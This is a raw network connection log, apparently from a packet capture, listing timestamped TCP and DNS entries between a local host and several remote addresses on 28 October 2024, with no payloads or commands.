Oct 28, 2024 02:07:30.240282059 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.240883112 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.240886927 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.252392054 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.252415895 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.252492905 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.252680063 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.252693892 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.277167082 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.277369022 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.277710915 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.279779911 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.280015945 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.286470890 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.286946058 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.287002087 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.287120104 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.287147045 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.294465065 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.298311949 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.298311949 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.298341036 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.298352003 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.310235977 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.310235977 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.310255051 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.310265064 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.313857079 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.313857079 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.313867092 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.313874006 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.366873026 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.367038965 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.368196011 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.436431885 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.436431885 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.436461926 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.436476946 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.490473032 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.490509987 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.492558002 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.510488987 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.510507107 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.512155056 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.512201071 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.512397051 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.512578011 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.512599945 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.521949053 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.521961927 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.522075891 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.563014984 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.563036919 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.787096024 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.787193060 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.787544012 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.979439974 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.028002024 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.074383020 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.074440956 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.093686104 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.093703985 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.094532967 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.094543934 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.219279051 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.219444990 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.219501972 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.247534037 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.252825975 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.280086040 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.280086040 CET	49820	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.280134916 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.280160904 CET	443	49820	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.286021948 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.286056042 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.290945053 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.290957928 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.300622940 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.300647020 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.301347971 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.301354885 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.328248978 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.339329004 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:31.339379072 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:31.339725971 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:31.341917038 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:31.341953039 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:31.382355928 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.404840946 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.404870033 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.405303001 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.405312061 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.408967972 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.409008980 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.409085989 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.409409046 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.409424067 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.417021036 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.417078018 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.417125940 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.417140961 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.417233944 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.417282104 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.423988104 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.424020052 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.424035072 CET	49822	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.424041986 CET	443	49822	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.430859089 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.430927038 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.430974007 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.430989981 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.431005001 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.431056023 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.436908007 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.436935902 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.436959028 CET	49821	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.436965942 CET	443	49821	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.536278009 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.536367893 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.536432981 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.536463022 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.536506891 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.536510944 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.536559105 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.560650110 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.560672998 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.560684919 CET	49823	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.560691118 CET	443	49823	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.567416906 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.567451954 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.567523956 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.568320990 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.568367958 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.568428993 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.580971956 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.581100941 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.586441040 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.586467981 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.586508989 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.586558104 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.586570024 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.595586061 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.595602989 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.595983982 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.596014977 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.597631931 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.597649097 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.597709894 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.597912073 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.597923040 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.823860884 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.898236036 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.898277044 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.898883104 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:31.898895979 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:31.946759939 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.946774960 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.946790934 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.946803093 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.946837902 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.946880102 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.947154045 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.947207928 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.947253942 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.947278023 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.947293997 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.947307110 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.947331905 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:31.948209047 CET	443	49707	20.190.159.75	192.168.2.6
Oct 28, 2024 02:07:31.948254108 CET	49707	443	192.168.2.6	20.190.159.75
Oct 28, 2024 02:07:32.245172024 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.245263100 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.245390892 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.250938892 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.365619898 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.377104998 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.378134966 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.378215075 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.467504025 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.504367113 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.583370924 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.583460093 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.583611012 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.583655119 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.587101936 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.587120056 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.587199926 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.587332964 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.587383032 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.619352102 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.619508982 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.619699001 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.635796070 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.635818005 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.636563063 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.636569023 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.636893034 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.636903048 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.636960983 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.636976004 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.637315989 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.637322903 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.637490988 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.637536049 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.637567997 CET	49824	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.637586117 CET	443	49824	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.637675047 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.637681961 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.638500929 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.638506889 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.638880968 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.638885975 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.671866894 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.671950102 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.672068119 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.677063942 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.677105904 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.760258913 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.760426044 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.760484934 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.763093948 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.763159037 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.763211012 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.764138937 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.764210939 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.764257908 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.765264034 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.765419006 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.765470028 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.769911051 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.769949913 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.797866106 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.797884941 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.797934055 CET	49834	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.797940969 CET	443	49834	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.892437935 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.892467022 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.892481089 CET	49832	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.892487049 CET	443	49832	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.893541098 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.893551111 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.893559933 CET	49833	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.893563986 CET	443	49833	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.894295931 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.894299984 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.894309044 CET	49835	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.894311905 CET	443	49835	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.903558969 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.903635025 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.921407938 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.921597004 CET	443	49829	94.245.104.56	192.168.2.6
Oct 28, 2024 02:07:32.921689034 CET	49829	443	192.168.2.6	94.245.104.56
Oct 28, 2024 02:07:32.927205086 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.927239895 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.927339077 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.931241035 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.931256056 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.931337118 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.936830997 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.936850071 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.937104940 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.937115908 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.937262058 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.937573910 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.937585115 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.938039064 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.938051939 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.939583063 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.939632893 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.939690113 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.939790010 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:32.939801931 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:32.957114935 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:32.957139969 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:32.957312107 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:32.958003044 CET	49845	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:32.958014011 CET	443	49845	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:33.448482990 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.513921976 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.515431881 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:33.515496016 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:33.546731949 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.546762943 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.547187090 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.547200918 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.681493044 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.681567907 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.681638956 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.687725067 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.688498974 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.699393034 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.715356112 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.774349928 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.805917025 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.805917025 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.805922031 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.859736919 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.859766006 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.860534906 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.860548019 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.861222982 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.861249924 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.863503933 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.863509893 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.864115000 CET	49838	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.864157915 CET	443	49838	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.870173931 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.870183945 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.870930910 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.870937109 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.871253014 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.871257067 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.871881008 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.871886969 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.923881054 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:33.923927069 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:33.923985958 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:33.924653053 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:33.924670935 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:33.940563917 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:33.945894957 CET	53	49852	1.1.1.1	192.168.2.6
Oct 28, 2024 02:07:33.945947886 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:33.946023941 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:33.946048021 CET	49852	53	192.168.2.6	1.1.1.1
Oct 28, 2024 02:07:33.951519966 CET	53	49852	1.1.1.1	192.168.2.6
Oct 28, 2024 02:07:33.951529980 CET	53	49852	1.1.1.1	192.168.2.6
Oct 28, 2024 02:07:33.989403009 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.989572048 CET	443	49842	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.989624977 CET	49842	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.993926048 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.994137049 CET	443	49844	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.994185925 CET	49844	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.994784117 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.994949102 CET	443	49841	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.994993925 CET	49841	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:33.998209000 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.999000072 CET	443	49843	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:33.999053955 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.020096064 CET	49843	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:34.020114899 CET	443	49843	13.107.246.60	192.168.2.6
